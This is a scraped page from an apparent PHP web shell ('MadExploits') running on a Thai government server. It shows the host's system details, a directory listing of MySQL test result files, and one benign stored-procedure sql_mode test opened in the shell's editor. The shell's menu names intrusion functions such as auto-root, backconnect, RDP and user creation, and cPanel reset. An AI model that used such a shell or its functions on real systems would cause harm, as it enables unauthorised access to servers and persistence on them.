Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
mysql-test /
suite /
funcs_1 /
r /
[ HOME SHELL ]
Name
Size
Permission
Action
charset_collation.result
1.32
KB
-rw-r--r--
innodb_bitdata.result
117
B
-rw-r--r--
innodb_cursors.result
116
B
-rw-r--r--
innodb_func_view.result
301.02
KB
-rw-r--r--
innodb_storedproc_02.result
36.28
KB
-rw-r--r--
innodb_storedproc_03.result
15.3
KB
-rw-r--r--
innodb_storedproc_06.result
13.28
KB
-rw-r--r--
innodb_storedproc_07.result
7.77
KB
-rw-r--r--
innodb_storedproc_08.result
20.03
KB
-rw-r--r--
innodb_storedproc_10.result
13.21
KB
-rw-r--r--
innodb_trig_0102.result
15.05
KB
-rw-r--r--
innodb_trig_03.result
25.65
KB
-rw-r--r--
innodb_trig_03e.result
51.01
KB
-rw-r--r--
innodb_trig_0407.result
15.4
KB
-rw-r--r--
innodb_trig_08.result
18.39
KB
-rw-r--r--
innodb_trig_09.result
9.97
KB
-rw-r--r--
innodb_trig_1011ext.result
11.75
KB
-rw-r--r--
innodb_trig_frkey.result
2.23
KB
-rw-r--r--
innodb_views.result
580.67
KB
-rw-r--r--
is_basics_mixed.result
30.01
KB
-rw-r--r--
is_character_sets.result
3.96
KB
-rw-r--r--
is_cml_innodb.result
4.65
KB
-rw-r--r--
is_cml_memory.result
3.69
KB
-rw-r--r--
is_cml_myisam.result
4.7
KB
-rw-r--r--
is_cml_ndb.result
4.67
KB
-rw-r--r--
is_coll_char_set_appl.result
4.34
KB
-rw-r--r--
is_collations.result
4.43
KB
-rw-r--r--
is_column_privileges.result
19.22
KB
-rw-r--r--
is_column_privileges_is_mysql_...
1.44
KB
-rw-r--r--
is_columns.result
19.88
KB
-rw-r--r--
is_columns_innodb.result
76.58
KB
-rw-r--r--
is_columns_is.result
66.43
KB
-rw-r--r--
is_columns_is_embedded.result
64.69
KB
-rw-r--r--
is_columns_memory.result
73.43
KB
-rw-r--r--
is_columns_myisam.result
81.7
KB
-rw-r--r--
is_columns_myisam_embedded.res...
71.07
KB
-rw-r--r--
is_columns_mysql.result
47.6
KB
-rw-r--r--
is_columns_mysql_embedded.resu...
41.16
KB
-rw-r--r--
is_columns_ndb.result
13.46
KB
-rw-r--r--
is_engines.result
3.88
KB
-rw-r--r--
is_engines_archive.result
161
B
-rw-r--r--
is_engines_blackhole.result
205
B
-rw-r--r--
is_engines_csv.result
149
B
-rw-r--r--
is_engines_federated.result
173
B
-rw-r--r--
is_engines_innodb.result
198
B
-rw-r--r--
is_engines_memory.result
194
B
-rw-r--r--
is_engines_merge.result
182
B
-rw-r--r--
is_engines_myisam.result
195
B
-rw-r--r--
is_engines_ndb.result
178
B
-rw-r--r--
is_events.result
6.37
KB
-rw-r--r--
is_key_column_usage.result
16.8
KB
-rw-r--r--
is_key_column_usage_embedded.r...
16.94
KB
-rw-r--r--
is_routines.result
23.09
KB
-rw-r--r--
is_routines_embedded.result
23.94
KB
-rw-r--r--
is_schema_privileges.result
14.65
KB
-rw-r--r--
is_schema_privileges_is_mysql_...
1.86
KB
-rw-r--r--
is_schemata.result
8.57
KB
-rw-r--r--
is_schemata_embedded.result
8.75
KB
-rw-r--r--
is_schemata_is_mysql_test.resu...
1.59
KB
-rw-r--r--
is_statistics.result
17.47
KB
-rw-r--r--
is_statistics_is.result
1004
B
-rw-r--r--
is_statistics_mysql.result
4.47
KB
-rw-r--r--
is_statistics_mysql_embedded.r...
7.98
KB
-rw-r--r--
is_table_constraints.result
14.35
KB
-rw-r--r--
is_table_constraints_is.result
828
B
-rw-r--r--
is_table_constraints_mysql.res...
1.9
KB
-rw-r--r--
is_table_constraints_mysql_emb...
3.02
KB
-rw-r--r--
is_table_privileges.result
15.08
KB
-rw-r--r--
is_tables.result
17.26
KB
-rw-r--r--
is_tables_embedded.result
17.48
KB
-rw-r--r--
is_tables_innodb.result
3.98
KB
-rw-r--r--
is_tables_is.result
26.86
KB
-rw-r--r--
is_tables_memory.result
4.02
KB
-rw-r--r--
is_tables_myisam.result
4.03
KB
-rw-r--r--
is_tables_myisam_embedded.resu...
4.43
KB
-rw-r--r--
is_tables_mysql.result
12.05
KB
-rw-r--r--
is_tables_mysql_embedded.resul...
22.96
KB
-rw-r--r--
is_tables_ndb.result
4
KB
-rw-r--r--
is_triggers.result
13.86
KB
-rw-r--r--
is_triggers_embedded.result
11.97
KB
-rw-r--r--
is_user_privileges.result
23.96
KB
-rw-r--r--
is_views.result
11.22
KB
-rw-r--r--
is_views_embedded.result
10.98
KB
-rw-r--r--
memory_bitdata.result
168
B
-rw-r--r--
memory_cursors.result
167
B
-rw-r--r--
memory_func_view.result
301.07
KB
-rw-r--r--
memory_storedproc_02.result
36.33
KB
-rw-r--r--
memory_storedproc_03.result
15.35
KB
-rw-r--r--
memory_storedproc_06.result
13.35
KB
-rw-r--r--
memory_storedproc_07.result
7.82
KB
-rw-r--r--
memory_storedproc_08.result
20.59
KB
-rw-r--r--
memory_storedproc_10.result
13.26
KB
-rw-r--r--
memory_trig_0102.result
15.1
KB
-rw-r--r--
memory_trig_03.result
25.7
KB
-rw-r--r--
memory_trig_03e.result
49.44
KB
-rw-r--r--
memory_trig_0407.result
15.45
KB
-rw-r--r--
memory_trig_08.result
18.44
KB
-rw-r--r--
memory_trig_09.result
10.02
KB
-rw-r--r--
memory_trig_1011ext.result
11.81
KB
-rw-r--r--
memory_views.result
580.77
KB
-rw-r--r--
myisam_bitdata.result
168
B
-rw-r--r--
myisam_cursors.result
167
B
-rw-r--r--
myisam_func_view.result
301.07
KB
-rw-r--r--
myisam_storedproc_02.result
36.33
KB
-rw-r--r--
myisam_storedproc_03.result
15.35
KB
-rw-r--r--
myisam_storedproc_06.result
13.35
KB
-rw-r--r--
myisam_storedproc_07.result
7.82
KB
-rw-r--r--
myisam_storedproc_08.result
20.59
KB
-rw-r--r--
myisam_storedproc_10.result
13.26
KB
-rw-r--r--
myisam_trig_0102.result
15.1
KB
-rw-r--r--
myisam_trig_03.result
25.7
KB
-rw-r--r--
myisam_trig_03e.result
49.44
KB
-rw-r--r--
myisam_trig_0407.result
15.45
KB
-rw-r--r--
myisam_trig_08.result
18.44
KB
-rw-r--r--
myisam_trig_09.result
10.02
KB
-rw-r--r--
myisam_trig_1011ext.result
11.81
KB
-rw-r--r--
myisam_views-big.result
595.72
KB
-rw-r--r--
ndb_bitdata.result
117
B
-rw-r--r--
ndb_cursors.result
116
B
-rw-r--r--
ndb_func_view.result
301.02
KB
-rw-r--r--
ndb_storedproc_02.result
36.28
KB
-rw-r--r--
ndb_storedproc_03.result
15.3
KB
-rw-r--r--
ndb_storedproc_06.result
13.38
KB
-rw-r--r--
ndb_storedproc_07.result
7.77
KB
-rw-r--r--
ndb_storedproc_08.result
20.03
KB
-rw-r--r--
ndb_storedproc_10.result
13.21
KB
-rw-r--r--
ndb_trig_0102.result
15.05
KB
-rw-r--r--
ndb_trig_03.result
25.65
KB
-rw-r--r--
ndb_trig_03e.result
50.97
KB
-rw-r--r--
ndb_trig_0407.result
15.4
KB
-rw-r--r--
ndb_trig_08.result
18.39
KB
-rw-r--r--
ndb_trig_09.result
9.97
KB
-rw-r--r--
ndb_trig_1011ext.result
11.77
KB
-rw-r--r--
ndb_views.result
580.63
KB
-rw-r--r--
processlist_priv_no_prot.resul...
28.85
KB
-rw-r--r--
processlist_priv_ps.result
28.88
KB
-rw-r--r--
processlist_val_no_prot.result
91.88
KB
-rw-r--r--
processlist_val_ps.result
91.89
KB
-rw-r--r--
storedproc.result
927.84
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : myisam_storedproc_07.result
SET @@session.sql_mode = 'NO_ENGINE_SUBSTITUTION'; --source suite/funcs_1/storedproc/load_sp_tb.inc -------------------------------------------------------------------------------- --source suite/funcs_1/storedproc/cleanup_sp_tb.inc -------------------------------------------------------------------------------- DROP DATABASE IF EXISTS db_storedproc; DROP DATABASE IF EXISTS db_storedproc_1; CREATE DATABASE db_storedproc; CREATE DATABASE db_storedproc_1; USE db_storedproc; create table t1(f1 char(20),f2 char(25),f3 date,f4 int,f5 char(25),f6 int) engine = <engine_to_be_tested>; load data infile '<MYSQLTEST_VARDIR>/std_data/funcs_1/t4.txt' into table t1; create table t2(f1 char(20),f2 char(25),f3 date,f4 int,f5 char(25),f6 int) engine = <engine_to_be_tested>; load data infile '<MYSQLTEST_VARDIR>/std_data/funcs_1/t4.txt' into table t2; create table t3(f1 char(20),f2 char(20),f3 integer) engine = <engine_to_be_tested>; load data infile '<MYSQLTEST_VARDIR>/std_data/funcs_1/t3.txt' into table t3; create table t4(f1 char(20),f2 char(25),f3 date,f4 int,f5 char(25),f6 int) engine = <engine_to_be_tested>; load data infile '<MYSQLTEST_VARDIR>/std_data/funcs_1/t4.txt' into table t4; USE db_storedproc_1; create table t6(f1 char(20),f2 char(25),f3 date,f4 int,f5 char(25),f6 int) engine = <engine_to_be_tested>; load data infile '<MYSQLTEST_VARDIR>/std_data/funcs_1/t4.txt' into table t6; USE db_storedproc; create table t7 (f1 char(20), f2 char(25), f3 date, f4 int) engine = <engine_to_be_tested>; load data infile '<MYSQLTEST_VARDIR>/std_data/funcs_1/t7.txt' into table t7; Warnings: Warning 1265 Data truncated for column 'f3' at row 1 Warning 1265 Data truncated for column 'f3' at row 2 Warning 1265 Data truncated for column 'f3' at row 3 Warning 1265 Data truncated for column 'f3' at row 4 Warning 1265 Data truncated for column 'f3' at row 5 Warning 1265 Data truncated for column 'f3' at row 6 Warning 1265 Data truncated for column 'f3' at row 7 Warning 1265 Data truncated for column 'f3' at row 8 Warning 1265 Data truncated for column 'f3' at row 9 Warning 1265 Data truncated for column 'f3' at row 10 create table t8 (f1 char(20), f2 char(25), f3 date, f4 int) engine = <engine_to_be_tested>; load data infile '<MYSQLTEST_VARDIR>/std_data/funcs_1/t7.txt' into table t8; Warnings: Warning 1265 Data truncated for column 'f3' at row 1 Warning 1265 Data truncated for column 'f3' at row 2 Warning 1265 Data truncated for column 'f3' at row 3 Warning 1265 Data truncated for column 'f3' at row 4 Warning 1265 Data truncated for column 'f3' at row 5 Warning 1265 Data truncated for column 'f3' at row 6 Warning 1265 Data truncated for column 'f3' at row 7 Warning 1265 Data truncated for column 'f3' at row 8 Warning 1265 Data truncated for column 'f3' at row 9 Warning 1265 Data truncated for column 'f3' at row 10 create table t9(f1 int, f2 char(25), f3 int) engine = <engine_to_be_tested>; load data infile '<MYSQLTEST_VARDIR>/std_data/funcs_1/t9.txt' into table t9; create table t10(f1 char(20),f2 char(25),f3 date,f4 int,f5 char(25),f6 int) engine = <engine_to_be_tested>; load data infile '<MYSQLTEST_VARDIR>/std_data/funcs_1/t4.txt' into table t10; create table t11(f1 char(20),f2 char(25),f3 date,f4 int,f5 char(25),f6 int) engine = <engine_to_be_tested>; load data infile '<MYSQLTEST_VARDIR>/std_data/funcs_1/t4.txt' into table t11; Section 3.1.7 - SQL mode checks: -------------------------------------------------------------------------------- USE db_storedproc; Testcase 3.1.7.1: ----------------- Ensure that the sql_mode setting in effect at the time a stored procedure is created is the same setting under which the stored procedure runs when it is called/executed. -------------------------------------------------------------------------------- DROP PROCEDURE IF EXISTS sp1; DROP TABLE IF EXISTS temp_tbl; DROP TABLE IF EXISTS result; CREATE TABLE temp_tbl (f1 tinyint); CREATE TABLE result (f1 text(200), f2 char(20)); set @@sql_mode='traditional'; SHOW VARIABLES LIKE 'sql_mode'; Variable_name Value sql_mode STRICT_TRANS_TABLES,STRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,TRADITIONAL,NO_AUTO_CREATE_USER CREATE PROCEDURE sp1() BEGIN declare a tinyint; declare count_ int default 1; declare continue handler for sqlstate '22003' set count_=1000; SHOW VARIABLES LIKE 'sql_mode'; SELECT @@sql_mode into @cur_val_sql_mode; insert into temp_tbl values (1000); if count_ = 1000 THEN INSERT INTO result VALUES (@cur_val_sql_mode, 'value restored'); ELSE INSERT INTO result VALUES (@cur_val_sql_mode, 'value not restored'); END if; END// SHOW CREATE PROCEDURE sp1; Procedure sql_mode Create Procedure character_set_client collation_connection Database Collation sp1 STRICT_TRANS_TABLES,STRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,TRADITIONAL,NO_AUTO_CREATE_USER CREATE DEFINER=`root`@`localhost` PROCEDURE `sp1`() BEGIN declare a tinyint; declare count_ int default 1; declare continue handler for sqlstate '22003' set count_=1000; SHOW VARIABLES LIKE 'sql_mode'; SELECT @@sql_mode into @cur_val_sql_mode; insert into temp_tbl values (1000); if count_ = 1000 THEN INSERT INTO result VALUES (@cur_val_sql_mode, 'value restored'); ELSE INSERT INTO result VALUES (@cur_val_sql_mode, 'value not restored'); END if; END latin1 latin1_swedish_ci latin1_swedish_ci set @@sql_mode=''; SHOW VARIABLES LIKE 'sql_mode'; Variable_name Value sql_mode CALL sp1(); Variable_name Value sql_mode STRICT_TRANS_TABLES,STRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,TRADITIONAL,NO_AUTO_CREATE_USER SELECT * from result; f1 f2 STRICT_TRANS_TABLES,STRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,TRADITIONAL,NO_AUTO_CREATE_USER value restored SHOW VARIABLES LIKE 'sql_mode'; Variable_name Value sql_mode SELECT @@sql_mode; @@sql_mode SET @@sql_mode='TRADITIONAL'; DROP PROCEDURE sp1; DROP TABLE temp_tbl; DROP TABLE result; Testcase 3.1.7.2: ----------------- Ensure that if the sql_mode setting is changed when a stored procedure is run, that the original setting is restored as soon as the stored procedure execution is complete. -------------------------------------------------------------------------------- DROP PROCEDURE IF EXISTS sp2; ... show initial value SHOW VARIABLES LIKE 'sql_mode'; Variable_name Value sql_mode STRICT_TRANS_TABLES,STRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,TRADITIONAL,NO_AUTO_CREATE_USER CREATE PROCEDURE sp2() BEGIN SET @@sql_mode='MAXDB'; SHOW VARIABLES LIKE 'sql_mode'; END// SHOW CREATE PROCEDURE sp2; Procedure sql_mode Create Procedure character_set_client collation_connection Database Collation sp2 STRICT_TRANS_TABLES,STRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,TRADITIONAL,NO_AUTO_CREATE_USER CREATE DEFINER=`root`@`localhost` PROCEDURE `sp2`() BEGIN SET @@sql_mode='MAXDB'; SHOW VARIABLES LIKE 'sql_mode'; END latin1 latin1_swedish_ci latin1_swedish_ci ... show value prior calling procedure SHOW VARIABLES LIKE 'sql_mode'; Variable_name Value sql_mode STRICT_TRANS_TABLES,STRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,TRADITIONAL,NO_AUTO_CREATE_USER ... call procedure that changes sql_mode CALL sp2(); Variable_name Value sql_mode PIPES_AS_CONCAT,ANSI_QUOTES,IGNORE_SPACE,MAXDB,NO_KEY_OPTIONS,NO_TABLE_OPTIONS,NO_FIELD_OPTIONS,NO_AUTO_CREATE_USER ... check whether old value is re-set SHOW VARIABLES LIKE 'sql_mode'; Variable_name Value sql_mode STRICT_TRANS_TABLES,STRICT_ALL_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,TRADITIONAL,NO_AUTO_CREATE_USER DROP PROCEDURE sp2; --source suite/funcs_1/storedproc/cleanup_sp_tb.inc -------------------------------------------------------------------------------- DROP DATABASE IF EXISTS db_storedproc; DROP DATABASE IF EXISTS db_storedproc_1; . +++ END OF SCRIPT +++ --------------------------------------------------------------------------------
Close